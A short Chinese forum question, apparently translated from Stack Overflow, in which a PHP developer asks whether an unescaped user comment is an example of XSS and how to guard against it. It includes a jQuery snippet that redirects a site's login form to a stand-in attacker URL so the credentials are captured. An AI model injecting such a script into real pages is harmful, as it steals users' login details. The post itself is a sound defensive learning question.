如何将用户输入的html转义,php – HTML的用户输入是向其他人显示的,而不是HTML转义的XSS的一个例子...

我是

PHP开发人员,我希望提高我的网站的安全性.

从我了解以下是影响Web应用程序的两种主要的漏洞类型：

> sql注入

> XSS

sql注入可以用准备的语句来修复 – 容易.

但我还是没有真正得到XSS – 以下是XSS的一个例子？

>完整的用户自定义内容的页面上有一个登录表单(站点范围).

>用户对页面的输入不是HTML转义的.

> A用户发布以下内容(例如评论)到页面…

A really nice comment

$(document).ready(function() {

$('#login_form').attr('action','http://somehackysite.com/givemeyourpw.PHP');

});

>一个无辜的用户来到页面,脚本执行.

>无辜的用户意识到他们没有登录,并将其详细信息输入到表单中.

>用户的详细信息将发送到http://somehackysite.com/givemyourpw.PHP,然后用户的帐户详细信息被盗.

所以我在这里真的有三个问题：

这会工作吗？

这是XSS吗？

>除了转义HTML,开发人员应该采取什么预防措施对XSS？